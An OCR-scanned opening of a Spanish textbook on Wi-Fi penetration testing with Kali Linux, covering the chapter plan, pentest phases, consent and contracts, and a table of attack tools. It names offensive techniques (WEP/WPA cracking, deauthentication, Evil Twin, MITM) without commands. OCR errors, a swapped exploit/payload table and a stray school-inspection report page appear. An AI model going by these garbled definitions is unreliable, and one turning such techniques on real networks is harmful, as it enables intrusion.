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Desde su introduccion al mercado hace casi 20 afios, las redes inaldmbricas
crecieron exponencialmente convirtiéndose en omnipresentes en todo el mundo
de hoy. Millones de personas las utilizan y no solo en las empresas, sino en cual-
quier otro lugar: establecimientos puiblicos (restaurantes, centros comerciales,
universidades o aeropuertos), zonas wifi gratuitas al aire libre v en la mayoria de
los hogares.

Como cualquier tecnologia, su difusion conlleva una creciente necesidad de
evaluar y mejorar su seguridad, ya que una red inalambrica vulnerable ofrece
una via facil para que un intruso acceda y atague a toda la red.

Hacking y cracking, Redes inaldmbricas wifi tiene como objetivo ayudar al lector
a comprender las inseguridades asociadas con las redes inaldmbricas locales y a
realizar pruebas de penetracién que permitan encontrarlas y prevenirlas.

Este libro explora todo el proceso para realizar pruebas de penetracion a redes
inaldmbricas (con la exitosa distribucién de seguridad de Kali Linux), analizando
cada fase desde la planificacion inicial hasta el informe final. Aparte de explicar la
teoria basica de la seguridad inaldmbrica (protocolos, vulnerabilidades y ataques),
Centra sus esfuerzos en ensenar sus aspectos practicos, utilizando las valiosas
herramientas gratuitas y de codigo abierto que proporciona Kali Linux para las
pruebas de penetracién inaldmbricas.




Hacking & cracking - Redes inalambricas wifi

12 Luis Angulo Aguirre

Ilo que gubre este libro

El capitulo 1 «Introduccién al pentesting inaldmbrico» presenta los conceptos
generales de las pruebas de penetracion y trata sus cuatro fases principales
centrandose en las redes inaldmbricas. Ademas, el capitulo explica como
acordar y planificar una prueba de penetracion con el cliente y ofrece una
vision de alto nivel de las fases de planificacidn, descubrimiento, ataque e
informes de todo el proceso.

El capitulo 2 «Configuracion de un portatil con Kali Linux» muestra los dife-
rentes métodos de instalacién de la distribucién Kali Linux vy, también, explica
paso a paso la instalacion en una maquina VirtualBox, suministrando la captura
de pantalla correspondiente para cada paso. El capitulo detallara, también, dos
formas alternativas para instalar Kali Linux: desde cero en una maquina virtual
nueva y mediante la importacion de una imagen precargada o 1SO.

El capitule 3 «Hardware inalambrico» presenta los dispositivos necesarios para
conformar un laboratorio virtual, asi como las especificaciones técnicas que deben
cumplir para realizar las pruebas de penetracion inalambrica. Luego, muestra la
forma de probar, dentro de Kali Linux, que los adaptadores inalémbricos cumplen
con tales especificaciones; es decir, que pueden ponerse en modo monitor y
pueden realizar pruebas de inyeccidn.

El capitulo 4 «<Fundamentos de redes inaldmbricas» describe la teorfa basica del
estandar 802.11 enfocandose en las redes inalambricas locales (WLAN). Ademas,
describe las bandas, canales de frecuencia, modos de operacién y topologias
usadas por las redes inalambricas, terminando con algunos aspectos de segu-
ridad inaldmbrica.

El capitulo 5 «Exploracion de redes inalambricas» analiza la fase de descubrimiento
o de recopilacién de informacion para las pruebas de penetracién inaldmbrica.
También abarca la forma en que funcionan los dos tipos de escaneo inaldmbrico
(activo v pasivo), asi como sus contramedidas. Luego, introduce al lector en el
uso de las herramientas incluidas de Kali Linux para realizar escaneos de redes
inalambricas, mostrando ejemplos practicos.

El capitulo 6 «Cracking del WEP» trata sobre el protocolo de seguridad del WEP,
analizando su disefo, sus vulnerabilidades y los diversos ataques desarrollados
en su contra. El capitulo también ilustra cdmo usar las herramientas incorporadas
en la linea de comandos vy las herramientas automatizadas para realizar diferentes
variantes de estos ataques que tienen como objetivo descifrar las contrasefias

Introduccion 13

del WEP, lo que demuestra que el WEP es un protocolo inseguro y que jnunca
se debe usar!

El capitulo 7 «Cracking del WPA / WPA2» comienza con la descripcién del crac-
king WPA / WPAZ2, su disefio v caracteristicas, y demuestra que es seguro.
Sin embargo, resalta que el protocolo WPA también puede ser vulnerable a los
atagues solo si se usan claves débiles. Ademas, el capitulo comprende las diversas
herramientas para ejecutar los ataques de fuerza bruta y de diccionario para
descifrar las cantrasefas del WPA.

El capitulo 8 «Ataque al APy a la infraestructura» analiza los atagues dirigidos
al WPA-Enterprise, al Access Point (AP) v a la infraestructura de red cableada.
Ademas, introduce al uso del WPA-Enterprise con los diferentes protocolos de
autenticacion que utiliza v, luego, explica las herramientas y técnicas para desci-
frar la clave en una topologia WPA-Enterprise.

Los otros atagues cubiertos en el capitulo son el ataque de denegacién de servicio
contra los AP, forzando la desautenticacion de los clientes conectados, el atague
mediante un AP no autorizado y el ataque contra las credenciales de autentica-
cion predeterminadas del AP.

El capitulo 9 «Ataque a clientes inaldmbricos» contempla los ataques dirigidos
a clientes inalambricos aislados para recuperar las claves del WEP y del WPA e
lustra como configurar un AP falso para suplantar a uno legitimo y atraer clientes
para gue se conecten (un ataque Evil Twin). Una vez que el cliente est4 conectado
al AP falso, se muestra como llevar a cabo los llamados atagues Man-In-The-
Middle usando las herramientas disponibles en Kali Linux.

El capitulo 10 «Informes y conclusiones» analiza la Gltima fase de una prueba
de penetracion, que es la fase de informe, explicando sus conceptos esen-
ciales y centrandose en los motivos y propdsitos de un informe profesional y
bien redactado. Es decir, el capitulo describira las etapas del proceso de redac-
cion del informe, desde su planificacion hasta su revision, y el formato tipico de
informe profesional.

En la seccion final del libro, se incluyen tres anexos con la finalidad de ampliar
la informacion de los capitulos anteriores, estos son: instalacion del paquete
VirtualBox, el algoritmo de cifrado XOR usado en el cracking del WEP v los
comandos en linea mas utilizados en Kali Linux.
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I Lo que necesita para este libro

Para el correcto seguimiento de los temas y ejemplos presentados en este libro, el
lector necesita un portatil con suficiente espacio en el disco duro y memoria RAM
para instalar y ejecutar el sistema operativo Kali Linux, y un adaptador inalambrico,
preferiblemente uno externo, como, por ejemplo, el USB que es adecuado para
las pruebas de penetracién inalambricas. En el capitulo 3 «<Hardware inalambrico,
encontrara informacion mas detallada sobre estos requisitos.

No se requiere experiencia previa con Kali Linux y con las pruebas de penetracion
inalambricas, pero se recomienda familiaridad con Linux y conceptos basicos
de redes.

i Para quién es este libro

Este libro es para las personas que desean realizar pruebas de penetracion,
profesionales de seguridad de la informacion y tecnologia de la informacion, y
administradores de sistemas y redes; asi como para entusiastas de la seguridad y
de Linux que desean comenzar o mejorar sus conocimientos y habilidades practicas
en las pruebas de penetracién inalambrica, utilizando la distribucion Kali Linuxy las
herramientas que ofrece.

-ADVERTENCIA . I - )

El contenido de este libro es solo para fines educativos. Esta diseriado para ayudar
a los usuarios a probar v evaluar sus propios sistemas contra amenazas de segu-
ridad de la informacion y a proteger su infraestructura de Tl de ataques similares.
La editorial y el autor de este libro no se responsabilizan de las acciones resultantes
del uso inadecuado del material de aprendizaje contenido en este libro.

Capitulo 1

Introduccion
al pentesting
inalambrico

Este capitulo analizara, de modo general, las principales fases para realizar un
proceso de pruebas de penetracion (pentesting), con especial atencion a las
pruebas de penetracion inaldambrica. La persona gue realiza el pentesting se le
conoce como pentester.

Los temas que se tratardn son los siguientes:

+ ;Qué es pentesting?
+ Fases de las pruebas de penetracion

@ . ;Quéesel pentesting? D

Una prueba de penetracion (en inglés,
penetration testing o pentesting) es el
proceso de simular atagues contra un
sistema informéatico o una red para pENTESTING
sefialar sus errores de configuracion, sus

debilidades o vulnerabilidades de segu-
ridad y los exploits vinculados a ellos que
podrian ser usados por atacantes reales
para acceder al sistema o red.




Hacking & cracking - Redes inalambricas wifi
Luis Angulo Aguirre

El pentesting es legal siempre y cuando sea dirigido hacia sus propios equipos o a
los equipos de sus clientes (bajo su consentimiento, por supuesto). De no ser asi,
se trataria de hacking. Actividad que, en la mayoria de paises, es un acto penado
incluso con prisién.

El pentesting se diferencia del hacking porque en el pentesting se cuenta con
el permiso v la aprobacién del propietario del sistema a atacar, mientras que el
hacking es un atague no consentido por el propietario.

Una prueba de penetracion puede ser externa o interna:

Una prueba de penetracion externa (llamada también prueba de penetracion
de caja negra) trata de simular un ataque real externo, sin que ninguna
informacion previa acerca de los sistemas y redes de destino haya sido
proporcionada a los probadores de penetracion.

« Una prueba de penetracion interna (también conocida como prueba de
penetracion de caja blanca) es realizada por los pentester a quienes se les
ha dado acceso como invitados y tratan de explotar las vulnerabilidades
de la red para aumentar sus privilegios vy realizar acciones para las gue no
estan autorizados, como, por ejemplo, el lanzamiento de ataques Man-In-
The-Middle, que se explicaré en el capitulo 7 «Ataques a clientes Wirelessn.

Este libro se va a centrar principalmente en las pruebas de penetracion externa.

I 111 Términos relacionados con pentesting

Hay tres términos gue se escuchan con frecuencia cuando se habla de pentes-
ting, estos son: vulnerabilidad, exploit y payload. Es importante tener claro su
significado para poder comprender los siguientes capitulos.

Pero antes, una analogia muy simple que relaciona los tres términos:

«Jn ladrén (hacker) quiere entrar en una propiedad privada y robar algunas cosas
que hay en ella. Encuentra una ventana por la que puede entrar (vulnerabilidad).
Con un martillo (exploit), logra remper el vidrio y acceder a la propiedad. Una vez
dentro, saca su mochila (payload) para almacenar las cosas, porque no le basta
con estar simplemente dentro del sisterna sin hacer nada.»

4.

Capitulo 1
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Vulnerabilidad Exploit Payload

Vulnerabilidad

Se refiere al fallo en la seguridad de una aplicacion, sistema o hardware, mas
comunmente conocido como «agujero», por donde infiltrarse para tomar el
control de la aplicacién o incluso del equipo completo. Ejemplos de vulnera-
bilidades son:

<+ Una contrasefa muy débil u cbvia, como, por ejemplo: «1234», «passwordy
o su fecha de nacimiento.

« Siun servidor da acceso a todos para subir archivos en él, esa es una vulne-
rabilidad ya que un atacante puede cargar archivos maliciosos.

£3

Siun servidor filtra informacion confidencial cuando lo solicita alguien sin
los privilegios adecuados.

+ Algo tan complejo como el desbordamiento de un buffer de informacién
del sistema.

La evaluacion de la vulnerabilidad (en inglés, vulnerability assessment) es el proceso
de identificacion y analisis de vulnerabilidades vy se utiliza a veces como sindnimo
de pruebas de penetracion (pentesting), pero son realmente procesos distintos;
de hecho, las pruebas de penetracién generalmente incluyen la evaluacion de
la vulnerabilidad y también la fase posterior de ataque para, practicamente,
explotar las vulnerabilidades encontradas. En algunos casos, dependiendo del
alcance de la prueba de penetracién, no es necesario una evaluacion completa
de vulnerabilidad, por lo que la prueba de penetracion puede centrarse solo en
vulnerabilidades especificas para atacar.
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Penetration

Testing

Exploit

Son pequefas aplicaciones programadas con el fin de aprovechar las vulne-
rabilidades para acceder al sistema y provocar un funcionamiento indebido.

Cuando un hacker encuentra una vulnerabilidad en un sistema, desarrolla un
exploit para aprovecharlo. Por ejemplo, si el hacker descubre que un servidor
puede bloquearse cuando recibe méas de 100 solicitudes de inicio de sesion FTP
simultaneamente, escribird un programa que envie 101 solicitudes de inicio de
sesion FTP simultaneamente.

Seguin desde dénde se ejecute el exploit, se pueden diferenciar tres tipos:

» Exploit local: Para ejecutar este tipo de exploit, es necesario haber acce-
dido previeamente al sistema vulnerable. También puede ejecutarse tras
acceder a la maquina con un exploit remoto.

+ Exploit remoto: Se puede ejecutar desde una red interna o bien desde
Internet para poder acceder al sistema de la victima.

+ Exploit del lado del cliente: Es el tipo de exploit mas usado, puesto que
aprovecha vulnerabilidades existentes en las aplicaciones instaladas en
la mayoria de los equipos de los usuarios finales. Suelen llegar al equipo
mediante correos electrénicos, pendrives o mediante una «navega-
cion inseguran.

Metasploit es un proyecto Open Source gue recopila vulnerabilidades e
informa de estas, colaborando posteriormente con grandes compafiias para
desarrollar o mejorar sistemas de deteccion de intrusos y malware.

Payload

Fs una pequefia aplicacién que aprovecha una vulnerabilidad afectada por un
exploit para obtener el control del sistema victima.

i Capitulo 1 19
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Lo mas comUn en un atague es aprovechar una vulnerabilidad con un exploit
basico para posteriormente inyectar un payload con el que se obtenga el
control del equipo al gue se ataca.

El payload se refiere a acciones adicionales incluidas en virus, gusanos
o troyanos, como, por ejemplo, robo de datos (contrasefias incluido), un
screenshot de algunas pantallas, eliminacion de archivos, sobrescritura del
disco, reemplazo del BIOS, etc.

En latabla 1.1 se aprecia la principal diferencia entre un exploit y un payload:

Tabla 1.1 Exploit vs. Payload

Exploit Payload

Necesita la interaccién, ya que la victima
tiene que ejecutar el archivo malicioso
para que pueda obtenerse el control.

Aprovecha un fallo del sistema
operativo y no necesita de la
interaccién con el usuario final.

@ ::Fases de las pruebas de penetracion 1

Para realizar una prueba de penetracion inaldmbrica, es importante seguir una
metodologia definida. Encender simplemente el comando airbase o airodump y
esperar lo mejor no satisfara los objetivos de una prueba. Cuando trabaje como
pentester, debe asegurarse de cumplir con los estandares de la organizacion para
la que trabaja, y si la organizacion no los tiene, debe mantener una alta exigencia.

El proceso de pruebas de penetracion se puede dividir en cuatro fases o etapas:
« Planificacion.

+ Descubrimiento.

«  Ataque.

+ Presentacion de informes.

Una guia Util para el proceso v la metodologia de pruebas de penetracion que
describe estas fases en detalle es NIST CSRC SP800-115 Technical Guide to
Information Security Testing and Assessment?.

! Articulo disponible en http://csre.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
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Un esquema de las cuatro fases de la metodologia de pruebas de penetracion se Por lo general, se recopila la siguiente informacion:
representa en el siguiente diagrama, tomado de la publicacidn anterior a la que
hizo referencia:

+ El drea de las redes inalambricas a escanear.

. N + El rango de cobertura de la sefial de las redes a probar y su tamafio en
Descubrimiento adicional < funcidn del nimero de clientes que supuestamente se conectaran.

[T mae BT I T RTTE + |dentificar la cantidad aproximada de Access Points (AP) y clientes inaldm-
Planificacion ——— Descubrimiento :J[ Ataque bricos desplegados.

IR + |Indicar las redes inaldmbricas incluidas en la evaluacion.

' Presentacién + Acordar si los atagues contra los usuarios estan dentro del alcance.
"l deinformes | ' . g . .

— + Delimitar los objetivos de la prueba, tales como vulnerabilidades especi-
ficas que deben ser evaluadas vy sus prioridades, si los AP no autorizados y
l ocultos deben ser enumerados vy si deben realizarse atagques inalambricos

| contra clientes.

B

A continuacion, se describen cada una de estas cuatro fases.

1.2 Fase 1 Planificacion ( b. Estimacién de esfuerzo
- S ' De acuerdo con el alcance establecido, el pentester debera estimar cuanto

La fase de planificacién es una parte crucial del pentesting, aungue no siempre Hempo necesita para realizar el trabajo. Considere, ademas, que puede ocurrir
se le da la importancia que debe tener. En esta fase, se definen el alcance y las una reestructuracion después de este calculo, ya que la empresa cliente puede
llamadas reglas de contratacién de un pentesting, que es el resultado de un tener recursos limitados disponibles en términos de tiempo y dinero, o también
acuerdo entre el pentester y el cliente que se formalizara en un contrato entre puede requerir una ampliacién del alcance.

las dos partes. Debe quedar claro que un pentester nunca debe operar sin un
contrato o fuera del alcance de las reglas de contratacién establecidas en é€l,
porque, de lo contrario, podrfa tropezar con serios problemas legales. Antes de realizar el pentesting, el cliente debe dar su consentimiento. Este
deberia contener las pruebas que realizar y definir claramente aspectos como
el nivel de indemnizacion, el seguro vy las limitaciones del alcance. Es muy
probable gue también se incorpore un Acuerdo de no divulgacion (en inglés,
Non Disclosure Agreement o NDA).

c. Legalidad

Pentester Cliente

2. Estimacion del alcance

El alcance se refiere a las redes gue se van a probar y a las metas y objetivos
que el cliente quiere alcanzar con el pentesting.
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d. Regla de contratacion
Las reglas de contratacién incluyen, entre otros:
« La linea de tiempo estimada (fechas de inicio y de fin).

Los dias y horas de cudndo realizar la prueba.

D

+ La autorizacion legal del cliente.
+ El formato del informe que se va producir.
+ Las condiciones de pago.

+ Una cldusula de acuerdo de no divulgacion, segun la cual los resultados de
la prueba son confidenciales por parte de los pentester.

Una vez que se establecen el alcance v las reglas de contratacion, el equipo
de pentesting define los recursos y las herramientas que usara para la ejecu-
cion de la prueba.

Una vez que se cumplan todos los requisitos anteriores, jesta listo
para comenzar!

I 122 Fase 2: Descubrimiento

En esta fase, el objetivo es identificar y aplicar caracteristicas a los disposi-
tivos inaldmbricos y redes inaldmbricas dentro del alcance. Se recoge toda la
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informacion posible sobre las redes que se encuentran en el alcance de la prueba
de penetracion. Esta fase también se denomina lz fase de recopilacion de informa-
cion. Es muy importante porgue define precisamente los objetivos de su prueba
y permite recoger informacién detallada acerca de ellos y exponer sus vulnera-
bilidades potenciales.

En particular, para su alcance, debe recoger y registrar informacion como:

<« Listado de los AP no autorizados, asi como las redes visibles y ocultas en
el drea.

+ Enumeracion de los clientes conectados a las redes objetivo.

« Tipo de autenticacion utilizado por las redes; céntrese en aquellas redes que
estan abiertas o que usan WEP vy que, por lo tanto, son vulnerables.

« El 4rea fuera del perimetro de la organizacién accesible por las
sefiales inalambricas.

«  Obtencién de un mapa del rango de las redes, desde donde se puede acceder
a ellas, y si hay lugares desde los que podria operar un individuo malintencio-
nado para realizar un ataque, por ejemplo, un café.

La fase de descubrimiento podria realizarse a través de dos tipos principales de
escaneo de red inaldmbrica: activos y pasivos.

+ El escaneo activo implica el envio, de parte del cliente, de tramas probe
requests para identificar los AP visibles. El AP responde con una trama
probe response.
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« Elescaneo pasivo significa captar y analizar todo el trafico inalambrico. En
la siguiente figura, el cliente recibe tramas beacons desde tres APy, por
lo tanto, declarara que ha encontrado solo tres redes de tipo BSS (Basic
Service Set o Conjunto de Servicios Bésicos). El AP4 no fue encontrado.

/// /. \ \\\'
con > LaSS T Vs APL
e L \\\“/ ) /)
beacon / /'y : \\\.
s — W Tids AP
L
b
eacon /// - \\\
~” — —
~r \ W J/ AP3
BSSs encontradas: \.\ / /
BSS1,AP 1 0
BSS2,AP2 be
BSS 3,AP 3 ~—__ Sacg, ’ \
= 195 = a%y
= _ \_.L - AP4
AN 7/
N 7/

Basandose en la informacién anterior, el pentester intentara sacar algunas conclu-
siones como:;

+ La cantidad de dispositivos que tienen asociaciones con redes abiertas y la
red corporativa.

+ La cantidad de dispositivos que tienen redes que pueden vincularse a ubica-
ciones a través de soluciones como WIGLE.

+ La existencia de encriptacién débil.

« Las redes configuradas son suficientemente fuertes.

Verd mas sobre escaneo inaldmbrico y como usar las herramientas de escaneo
inaldmbrico incluidas en Kali Linux, como airmon, airodump vy Kismet para llevar
a cabo la fase de descubrimiento del pentesting inalambrico en el capitulo 5
«Reconocimiento de WLAND,
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Introduccién al pentesting inalambrico

123 Fase 3: Ataque

Se le llama también fase de explotacién y es la parte mas practica de los procesos
de pentesting, donde se trata de explotar las vulnerabilidades identificadas en la
fase de descubrimiento para obtener acceso a las redes objetivo.

La siguiente etapa (si se requiere en el contrato) se conoce como la posexplota-
cién y consiste en atacar la red y la infraestructura después de acceder a ella, por
ejemplo, tomando el control de los AP vy realizando atagues Man-In-The-Middle
contra los clientes.

Ataque Man-in-the-middle

Conexion original

A

Conexion nueva

a8
av

Man-in-the-middle, Phisher
0 proxy anonimo

Vale la pena repetir que nunca debe efectuar atagues que no estan requeridos
explicitamente en el contrato. Ademas, la fase de ataque debe realizarse segln
los términos y modalidades establecidas con el cliente definidos en las reglas
de contratacién. Por ejemplo, si los objetivos son redes o sistemas de produc-
cion, podria acordar con el cliente realizar este tipo de ataques fuera de las
horas de trabajo, ya que la conectividad inaldmbrica y los servicios prestados
pueden interrumpirse.

Se cubrird |a fase de ataque desde el capitulo é «Cracking WEP» hasta el capitulo
9 «Ataque de clientes inaldmbricos».
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En la fase de ataque, se realizan las siguientes tres actividades:
Crackear la encriptacion.

« Atacar la infraestructura.

« Atacar a los clientes.

a. Crackear la encriptacion

El primer paso es recuperar las claves para cualquier red vulnerable identificada.
Si existen redes con WEP, realice los métodos de descifrado WEP explicados en
el capitulo 6 «Cracking WEP». Si los sistemas estan asegurados por WPAZ2, sea
sigiloso y llegue al lugar en los momentos en gue es probable gue las personas
se autentiquen o vuelvan a autenticarse. Estos momentos probablemente sean:

+ Comienzo del dia.
+« Hora de comer.
= Final del dia.

En este parte, realice un cracking de la clave WPA. Alternativamente, realice el
ataque de desautenticacion, como se muestra en el capitulo 7 «Cracking WPA/
VWPAZ»,

Si encuentra WPA-Enterprise, tenga en cuenta que deberd usar la informacion
recopilada durante el reconocimiento para establecer como destino la red correcta
y configurar su configuracion ficticia de Enterprise, como se muestra en la seccion
Ataque EAP en el capitulo 8 «Ataque de AP e infraestructura».

Puede intentar romper todas las frases clave, pero tenga en cuenta que algunas
seran irrompibles. Después de la realizacion de la prueba, verifique con el admi-
nistrador inaldmbrico la frase de contrasefia en uso. Verifique si es una frase
de paso segura y que usted, como pentester, no encontrd ningln defecto en la
herramienta o simplemente no tuvo suerte.

b. Atacar la infraestructura

Si obtiene acceso a la red mediante el descifrado de la contrasena, realice un
pentesting de red estandar si estd permitido en el alcance. Como minimo deben
realizarse las siguientes acciones:

+ Un escaneo de puertos.

+ |dentificar qué servicios se estan ejecutando.

Capitulo1
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+  Enumeracion de cualquier servicio abierto, como FTP no autenticado o proto-
colo SMB.

« Explotar cualquier servicio vulnerable identificade.

Internet

Ny 2

Router

c. Comprometer a los clientes

Después de enumerar y probar todos los sistemas inaldmbricos, hay varios tipos
de compromisos que se adaptarian a la realizacion de ataques contra los clientes.

Si es necesario, después de establecer qué clientes son vulnerables a un ataque
Karma, cree un Honeypot para forzarlos a conectarse con los métodos estable-
cidos en la seccién Ataque PEAP en el capitulo 7 «Cracking WPA/WPA2». Hay
varias piezas de informacion utiles que se pueden recopilar a través de este
meétodo, pero aseglrese de que los datos recopilados cumplan con un proposito
y se almacenen, transmitan y usen de manera ética y segura.

I 124 Fase 4: Presentacion de informes

Es la fase final del pentesting. Las fases anteriores son muy importantes porque
son donde se planifican y ejecutan las pruebas, pero sigue siendo importante
comunicar sus resultados, hallazgos y conclusiones de manera efectiva al cliente.
Elinforme es Util como punto de referencia para la definicién de las contramedidas
y las actividades de mitigacion para abordar las vulnerabilidades identificadas.
Generalmente est4 formado por cuatro secciones principales:
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Resumen ejecutivo.

2,

Informe técnico.

e

e

Lista de hallazgos.

+ Apéndices.
El resumen ejecutivo

Es un resumen de alto nivel de los objetivos, métodos y resultados
del pentesting.

Esta destinado principalmente a una audiencia no técnica, por lo que debe
ser escrito en un lenguaje claro y utilizando una terminologia comprensible,
evitando demasiados términos y expresiones técnicas.

El resumen ejecutivo debe incluir:
+ Una descripcion de los objetivos de la prueba.
+ Un resumen y descripcion de los problemas encontrados.

« Una definicién del perfil de riesgo para la seguridad de la organiza-
cion cliente.

+ Un plan para la remediacién de las vulnerabilidades encontradas y para
mitigar el riesgo.

+ Recomendaciones para mejorar la postura de seguridad de la organizacion.

El informe técnico

Incluye una descripcion mas detallada de la prueba de penetracion y toda la
informacion sobre los resultados de las fases de descubrimiento y ataque, asi
como una evaluacion de los riesgos que conllevan las vulnerabilidades iden-
tificadas para el cliente y un plan para mitigacion de riesgos. Asi, el informe
técnico cubre lo mismo que el resumen ejecutivo, pero desde un punto de
vista técnico, y esta dirigido principalmente a los ejecutivos de Tly a la solu-
cidn y prevencion de problemas.
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16tebrerozoos  INfOrme Técn ico

Lic. Olga Emily Cazin
Directora Deptal de Educacién

Para )
Francisco Javier Magafia
|. Coordinadr de seguimiento a la calidad
‘I = = T e RV I T PR e NEE R I TR e
| De Lic. José Adalberto Martinez Alfaro
... |AsesorPedagégicoDistrito 03-17 Pl TS T
Lugaryfecha | CE Cas.Belén C/Suncita

Denuncia hecha por teléfono a Asesor de Gestion Francisco Martinez
que los maestros/as del CE Cas. Belén C/Suncita no estaban trabajan-
do con alumnos por realizar una actividad dentro de la escuela.

Descripcién de
la situacién

Al momento de la visita, todos los docentes estaban trabajando con
alumnos/as en sus aulas.

Estaban personas de PRONINQ entregande machilas y cuadernos a
algunos padres v madres de familia, pero estos no interrumpian las
clases, ya que lo hacian en la direccion de la escuela.

Estaban padres de alumnos de CDE haciendo ventas en la cocina y
vendianen los recreos, habian pedido ala sefiora de latienda que les dejara
vender ese dia, seglin informan no tienen ni para fotocopias.

Observaciones

Segln la Directora del centro escolar Edelmira Bolafos, esa denun-
cia la pudo haber realizado una misma maestra que por la mafiana se le
llamd la atencion por no cuidar su zona en horas de recreo. Esa misma
version la sostiene una madre de familia del CDE.

Estaban personas de PRONINO entregando mochilas y cuadernos

fuera del CDE, alumnos, y miembros del CDE que se encontrabanen la
escuelaendicha actividad, quienes lamentaron que se den situaciones de
este tipo.

Copiade acta firmada por miembros CDE.
Ficha de Registro de Asistencia

Anexos

c. Lalista de hallazgos

Debe describir cada vulnerabilidad, explicando los métodos para su identifi-
cacion y réplica. Incluye al menos lo siguiente:

+ Descripcion de la vulnerabilidad.

+ Gravedad.

+ Dispositivos afectados.
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+ Tipo de vulnerabilidad: software, hardware o configuracion.
Remediacion.
d. Los apéndices

Deben contener cualquier informacion adicional que sea demasiado larga para
describir en una breve descripcion. Agui es donde se deben presentar capturas
de pantalla, codigos de prueba de concepto o datos robados.

Se cubrira la fase de presentacion de informes en el capitulo 10 «Informes
y conclusiones.

G BRREREE Resumen EERICUTEING

En este capitulo, se definié el concepto de pentesting y los términos relacionados
con redes inalambricas. Asimismo, se proporciond una breve descripcion de las
cuatro fases principales en que se divide el pentesting: planificacion, descubri-
miento, ataque y presentacion de informes.

Fn el siguiente capftulo, se vera como instalar Kali Linux en su computadora, lo
que constituird el centro de su laboratorio para realizar las pruebas de pentes-

ting con Kali Linux.

Capitulo 2

Configuracion
de un portatil
con Kali Linux

Este capitulo tratard los siguientes temas con el fin de configurar su portatil para
gue pueda realizar las pruebas de penetracion inalambrica:

Introduccion a la distribucion Kali Linux.

Instalar Kali Linux en una méaquina virtual nueva.
Importar una maquina virtual de Kali Linux.
Actualizar el repositorio de Kali Linux.

Instalacion y configuracién del adaptador inalambrico.

@ ::Introduccién a la distribucion Kali Linux ) |

Kali Linux es la distribucion para pruebas de
penetracion y auditorias de seguridad mas
populary mas utilizada. La desarrolla Offensive
Security y sustituye a Backtrack Linux; por eso,
la primera version de Kali Linux fue la sucesora
de Backtrack 5 release 3.

Kali Linux fue completamente reconstruido
y ahora se basa en el sistema operativo libre
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Debian. Incluye una amplia gama de herramientas para reconocimiento y recolec-
cion de informacion, sniffing y suplantacion de identidad (spoofing), evaluacién de
la vulnerabilidad, cracking de contraseria, explotacion, ingenierfa inversa, hacking
de hardware, investigacién forense, gestion de incidentes y presentacion de
informes. Para pruebas de penetracion inaldmbrica, hay un conjunto dedicado
a las herramientas mas conocidas de codigo abierto (dentro de Kali Linux), tales
como la suite aircrack-ng, Kismet, Fern Wifi Cracker, Wifite y Reaver, entre otras.

En este libro, se utilizara Kali Linux versién 2.0, principalmente la suite aircrack-ng
desarrollada por Thomas d'Otreppel, porgue es el mas popular y completo
conjunto de herramientas para la auditoria de redes inaldmbricas. Ademas, Kali
Linux soporta una gran variedad de adaptadores inaldmbricos v su nucleo se
actualiza constantemente con los Ultimos parches de inyeccion inaldmbrica.

En la tabla 1.2 se enumeran los comandos disponibles en Kali Linux agrupados
en 14 categorias. Observe que algunos estan en mas de un grupo.

Tabla 1.2 Lista de aplicaciones en Kali Linux

Grupo Aplicacién

Dmitry, dnmap-client, dnmap-server, ike-scan, maltego,

01 | Recopilacién de informacion ¢
netdiscover, nmap, pOf, recon-ng, sparta, zenmap.

02 V{Kn’éﬂsis de vu\_r_w_(_erabilidad Golisn_j_e___r_o, _Iy[u'_s, ”,ikt‘?,' nmpa, sprta, L{niﬁjpriggsc"chg_c_k: -
i | ilcones st Bu.rpswte, cmmix, httrack, owasp-zap, paros,
skipfish, s_qlma__p. wreb;;arab, wpsan. ’
Esfuseidinde Equsql, hexorba!se.JSQleJechon, oscanner,
04 sidguesser, sgldisct, SQLite database browser,
bases de datos vy
- sqlmap, sqlninja, sqlsus, tnsemd10g. B
1 ) h 1 ¢ ] r
05 | Mo He ety B Cewl,CrunchlJoh.n Johnny, medusa_ ncrack :
ophcrarcik,ﬁpyrrlt, ra\nbgyycrack,jcrack\-mt, wc_)_rq_hsts.
Ajrcrack-ng, chirp, cowpatty, fern wifi cracker,
ghost phisher, giskismet, kismet, mdh3,

mfoc, mfterm, pixiewps, reaver, wifite.

06 | Atagues Wireless

Apktool, clang, clang++, dex2jar, edb-débug, flasm,

ok Ingehlena i jad, javasnoop, NASMsbeIL_ ollydbg, radare 2.

Armitage, beef xss, metasploit, msf payload,

08 | Herramientas de explotacién . ) : ; :
searchploit, social engineering, sqlmap, termineter,

! Mas informacion sobre el proyecto de aircrack-ng estd disponible en su sitio web,
hitp://www.aircrack-ng.org/, que se citard a menudo en este libro.
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Grupo Aplicacién

B i -
o O S Y (?prroxy, dnftnet‘, ettercap -G, hams.ter, macchanger,
| mitmproxy, netsniff-ng, responder, wireshark.
Backdoor-f, bdfproxy, exeZhex, intersect, mimikatz,

10 | Manteniendo Acceso : ; .
nishang, powersploit, proxychains weevely.

Autopsy, binwalk, bulk-extra, chkrootkit,

= .
o e | foremost, galleta, hashdeep, volafox, volatility :

12: | Herrarientas de reporte Cutycapt, dradis, Fargday IDE, keepnote,
| magictree, maltego, papal, recordmydesktop
Backdoor-f, beef xss fr, maltego, msf

13 | Social EngineeringTools . i
_ _payloafj, social engineering, u3-pwn.

14 | Servicios del sistema Beef star, beef stop, dradis star, dradis stop.

Si decide aventurarse por su cuenta, el proceso de encontrar y aplicar parches,
compilar drivers (controladores) inaldmbricos en plataformas Linux genéricas para
admitir el modo de monitor, la inyeccion de paquetes y la desautenticacién puede
ser muy engorroso. Sin embargo, Kali tiene drivers precompilados para los adap-
tadores inaldmbricos, que se discutirdn en el capitulo 3 «Hardware inalambricoy,
y otros que sirven para garantizar que los adaptadores funcionen de modo plug-
and-play (conectar y usar).

Por todas estas razones, Kali Linux es la opcién éptima para los propositos
del pentesting. En la siguiente seccion, se mostrard cémo descargar e instalar
Kali Linux para utilizarlo durante la prueba de pentesting como una imagen de
Virtual Box.

1211 Instalacion de Kali Linux

Existen tres métodos para instalar Kali Linux:
+ En el disco duro (con arranque simple o arranque multiple).
En una unidad USB para utilizarlo como un sistema vivo.

+ Enuna maquina virtual mediante software como Oracle VirtualBox, VMware
Workstation o Player.

La instalacion requiere al menos 10 GB de espacio en el disco duro y se reco-
mienda al menos 1 GB de memoria RAM, aunque Kali Linux puede funcionar con
solo 512 MB de memoria RAM.
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Instalar Kali Linux en el disco duro es mejor para al rendimiento, pero tiene el
inconveniente de dedicar parte del espacio del disco duro a una particién para
instalarlo. La instalacion en una maquina virtual le ofrece un sistema ligeramente
